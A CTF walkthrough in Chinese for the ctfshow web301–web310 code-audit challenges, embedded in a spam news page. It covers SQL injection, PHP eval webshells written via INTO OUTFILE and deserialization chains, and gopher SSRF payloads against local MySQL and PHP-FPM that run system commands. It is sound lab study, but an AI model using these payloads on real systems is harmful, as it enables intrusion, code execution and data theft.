当前位置: 首页 > news >正文

做资源网站违法吗网页设计手机端

做资源网站违法吗,网页设计手机端,网上国网app推广效果,wordpress301重定向目录 web301 web302 web303 web304 web305 web306 web307 web308 web309 web310 web301 开始一个登录框, 下意识sql尝试一下 发现 1 的时候会到一个 checklogin.php 的路径下, 但啥也没有 好吧, 这是要审计代码的 ,下载好源码, 开始审计 看了一下源码 , 应该就是sql…目录 web301 web302 web303 web304 web305 web306 web307 web308 web309 web310 web301 开始一个登录框, 下意识sql尝试一下 发现 1 的时候会到一个 checklogin.php 的路径下, 但啥也没有 好吧, 这是要审计代码的 ,下载好源码, 开始审计 看了一下源码 , 应该就是sql注入了 , 而且还没过滤什么其他的东西 if(!strcasecmp($userpwd,$row[sds_password])) 比较输入的密码和查询到的密码 方法一: union联合查询 使用union 联合查询 , -1 union select 123# 查询不到内容, 会在数据库中创建一个数据 123 , 那么这个123就会作为一个返回的数据, 用以跟用户输入的密码进行比较 , 相匹配的话就行登录进去了 所以在 输入框 填上 123 就可以顺利的登录进去了, 直接给了flag 或者使用 盲注的方法 爆出字段内容 得到flag 应该也可以 方法二: 写shell -1 union select ?php eval($_POST[1]);? into outfile /var/www/html/1.php# into outfile 是 MySQL 的一个命令用于将查询的结果写入到服务器上的一个文件中。 web302 if(!strcasecmp(sds_decode($userpwd),$row[sds_password])){题目说这是修改的地方 结合上一道题   ?php function sds_decode($str){return md5(md5($str.md5(base64_encode(sds))).sds); }依旧是使用 union 联合注入, 但是 需要自己进行加密一下密码 -1 union select d9c77c4e454869d5d8da3b4be79694d3# 密码为1 登录成功 就可以拿到flag web303 用户名只能小于6个字符, 不能用之前的方法 在文件里面可以找到两个 提示 说注入点的地方 dpt.php 这是个假的注入点, sql语句里面没有我们可以控制的变量 dptadd.php 但是都存在这几行代码, 如果没登入进去的话, 都会跳转到 login.php 需要账号密码 可以在fun.php里面看到 echo sds_decode(admin) 可以是提示了我们密码是admin 在给的一个sql表中也可以看到 存在admin 账户 所以使用  admin / adimin  登录进去 可以看到 dptadd.php insert注入: 将select查询到的语句 插入到表中, 然后回显出表中的数据 构造语句 查表: dpt_name1,sds_address(select group_concat(table_name) from information_schema.tables where table_schemadatabase())# 会跳转到dpt.php  回显出数据 查字段名: dpt_name1,sds_address(select group_concat(table_name) from information_schema.tables where table_schemadatabase())# 查数据: dpt_name1,sds_address(select flag from sds_fl9g)# 报错注入: 查到的数据不完整,可能有长度限制啥的 使用substr函数, 分成两部分查 dpt_nameaadpt_addressaadpt_build_year2021-04-02dpt_has_certondpt_cert_numberadpt_telephone_numberxxx or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)# web304 增加了全局waf function sds_waf($str){return preg_match(/[0-9]|[a-z]|-/i, $str); } 但好像没有变化, 继续用上一题的payload就可以 web305 有一个waf, 无法再进行注入了 function sds_waf($str){if(preg_match(/\~|\|\!|\|\#|\$|\%|\^|\|\*|\(|\)|\_|\|\|\{|\}|\[|\]|\;|\:|\|\|\,|\.|\?|\/|\\\|\|\/, $str)){return false;}else{return true;} } 还有一个class.php 文件 , 可以进行反序列化 class user{public $username;public $password;public function __construct($u,$p){$this-username$u;$this-password$p;}public function __destruct(){file_put_contents($this-username, $this-password);} } 可以写个文件 ?php class user{public $username;public $password; } $a new user(); $a-username 1.php; $a-password ?php eval($_POST[1]); ?; echo urlencode(serialize($a)); //O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphpeval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D 蚁剑连接, 然后进入到数据库里面去 相关的账号密码 在 conn.php里面可以找到 web306 class.php中存在 file_put_contents , 需要调用到close() 函数 在dao.php里可以发现调用了close() 在index.php文件中又包含了dao.php并且存在反序列化函数 构造payload: ?phpclass log{public $title1.php;public $info?php eval(\$_POST[1]);?;}class dao{private $conn;public function __construct(){$this-connnew log();}} $anew dao(); echo base64_encode(serialize($a)); //TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI1OiI8P3BocCBldmFsKFwkX1BPU1RbMV0pOz8Ijt9fQ 将payload 放到 session里面去 在访问一下login.php 可以看到都直接登录进去了 访问1.php , 已经是回显200了, 所以应该是写进去了, 但不知道为啥, 蚁剑连不上, 而且执行命令也没反应 应该是写进去了的啊, 直接用其他人的payload放进去, 也是一样的反应, 可能浏览器出啥问题了,暂时不管了 web307 controller/logout.php里面存在一个反序列化的 , 后续应该是要在这个路径下执行 找一下 clearCache()函数的调用 controller/dao/dao.php里面存在一个clearCache(), 可以执行命令, 里面存在参数可控 service/service.php , 也存在 clearCache()的调用, 而且在logout.php里面require了service.php, service.php又require了/dao/dao.php 构造payload: ?phpclass dao{private $config;public function __construct(){$this-confignew config();} }class config{public $cache_dir ;echo ?php eval(\$_POST[1]);? a.php;;} $anew dao(); echo base64_encode(serialize($a)); 将payload放到Cookie里面后, 访问controller/logout.php, 就能写入马 在访问controller/a.php 就能执行命令了 web308 在上一题的基础上增加了过滤 但是又多了一个函数 , 找一下checkUpdate() 很明显的SSRF 在index.php下面 ,能够调用 checkVersion()函数 , 虽然header 头跳转了,但是还是会执行后面的代码 参数update_url也是可控的 题目提示需要拿shell,  mysql也是无密码的 直接 通过gopherus 工具 生成payloadhttps://github.com/tarunkant/Gopherus ?phpclass dao{private $config;public function __construct(){$this-confignew config();} }class config{public $update_url gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01;} $anew dao(); echo base64_encode(serialize($a));直接抓包在 index.php 写入Cookie就行, 然后执行生成 2.php 然后访问 2.php,  cmd执行命令 web309 需要拿shell308的方法不行了,mysql 有密码了 Ctfshow web入门 代码审计篇 web301-web310 详细题解 全_ctfshow web301-CSDN博客 FastCGI攻击需要满足四个条件 1、PHP版本要高于5.3.3才能动态修改PHP.INI配置文件 2、知道题目环境中的一个PHP文件的绝对路径 3、PHP-FPM监听在本机9000端口 4、libcurl版本7.45.0 向服务端发送请求时服务端会等待我们发送数据处于wait状态。最多等几十秒。 gopher协议只会把数据发送过去不承接任何应用。所以gopher协议访问开放端口时会卡住等待我们传输数据所以就能探测端口是否开放。 脚本用gopher协议访问超过两秒服务端等待数据接收就判断端口开放没超时服务端直接拒绝就是端口没开放。 21 ftp 22 ssh 80 http 443 https 3389 rdp windows远程桌面 1433 ms-sqlserver 默认端口 3306 mysql 默认端口 6379 redis 默认端口 9000 php-fpm(FastCGI) 默认端口 用之前的poc探测一下端口的开放 ?php class dao{     private $config;     public function __construct(){     $this-confignew config();     } } class config{      public $update_url gopher://127.0.0.1:9000; } $a new dao(); echo base64_encode(serialize($a)); ? 探测存在9000端口开放(会一直卡住, 访问其他的也访问不了, 得重新下发容器) 使用Gopherus工具生成攻击FastCGI的payload。 payload: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00web310 第一种方法: 依旧是上一道题的操作, 在使用工具的时候, 命令写入一个shell文件 然后在相应路径下执行命令, flag在 /var/flag/index.html 路径下 第二种方法: 利用file伪协议,读取一下配置文件: ?php class config{public $update_url file:///etc/nginx/nginx.conf; } class dao{private $config;public function __construct(){$this-confignew config();}} $anew dao(); echo base64_encode(serialize($a)); ?daemon off; worker_processes  auto; error_log  /var/log/nginx/error.log warn; events {     worker_connections  1024; } http {     include       /etc/nginx/mime.types;     default_type  application/octet-stream;     sendfile        on;     keepalive_timeout  65;     server {         listen       80;         server_name  localhost;         root         /var/www/html;         index index.php;         proxy_set_header Host $host;         proxy_set_header X-Real-IP $remote_addr;         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;         location / {             try_files $uri  $uri/ /index.php?$args;         }         location ~ \.php$ {             try_files $uri 404;             fastcgi_pass   127.0.0.1:9000;             fastcgi_index  index.php;             include        fastcgi_params;             fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;         }     }     server {         listen       4476;         server_name  localhost;         root         /var/flag;         index index.html;         proxy_set_header Host $host;         proxy_set_header X-Real-IP $remote_addr;         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;     } } 看到 4476端口 存在flag的文件 ?php class config{public $update_url http://127.0.0.1:4476; } class dao{private $config;public function __construct(){$this-confignew config();}} $anew dao(); echo base64_encode(serialize($a));CTFSHOW 代码审计篇_ctfshow 源码-CSDN博客   Ctfshow web入门 代码审计篇 web301-web310 详细题解 全_ctfshow web301-CSDN博客CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入、SSRF打MySQL、SSRF打FastCGI、SSRF文件读取_ctfshow web303-CSDN博客
http://www.hkea.cn/news/14519308/

相关文章:

  • 优秀的国外网站设计网站wordpress首页调用图片
  • 上海网站优化陕西建设厅官网证件查询网
  • 哈尔滨专业网站制作设计网站备案包括哪些
  • 温州市建设安监局网站网站后台显示不全
  • 南京 网站设计透明风格wordpress
  • 网站后台的形成电子商务网站的构建
  • 国外营销网站联通套餐
  • 安徽省建设监理协会网站深圳网络推广平台
  • 烟台做网站推广的公司哪家好网站注册备案之后怎么做
  • 云南建设厅建筑业管理网站衡阳有线宽带网站
  • 关键词推广网站企业网站用什么数据库
  • 珠海模板建站定制网站外贸汽车网站
  • 济宁网站建设多少钱什么做的网站
  • 建站新体验软文营销的技巧有哪些?
  • 企业网站开发制作淘宝推广工具
  • 网络专题策划书模板廊坊百度快速优化排名
  • 做网站教学书网站意识形态建设
  • h5响应式网站上海搭建网站用什么软件
  • seo网站推广费用深圳市外贸网站建设
  • 网站制作的总结与体会百度关键词优化公司哪家好
  • 流量网站怎么做的河北网站备案流程
  • 遵义晚报电子版官方网站微信管理系统免费版
  • 自己做网站 有名图片点击切换网站模板
  • 网站做动态图片不显示中国十大营销策划机构
  • mssql网站开发teahouse wordpress
  • php房产中介网站源码wordpress ip 地址
  • 网站备案查询 美橙河北建设银行招聘网站
  • dns网站建设wordpress系统教程
  • 南京专业制作网站黄骅港十里金沙滩门票
  • 网站开发毕设结论石家庄网站建立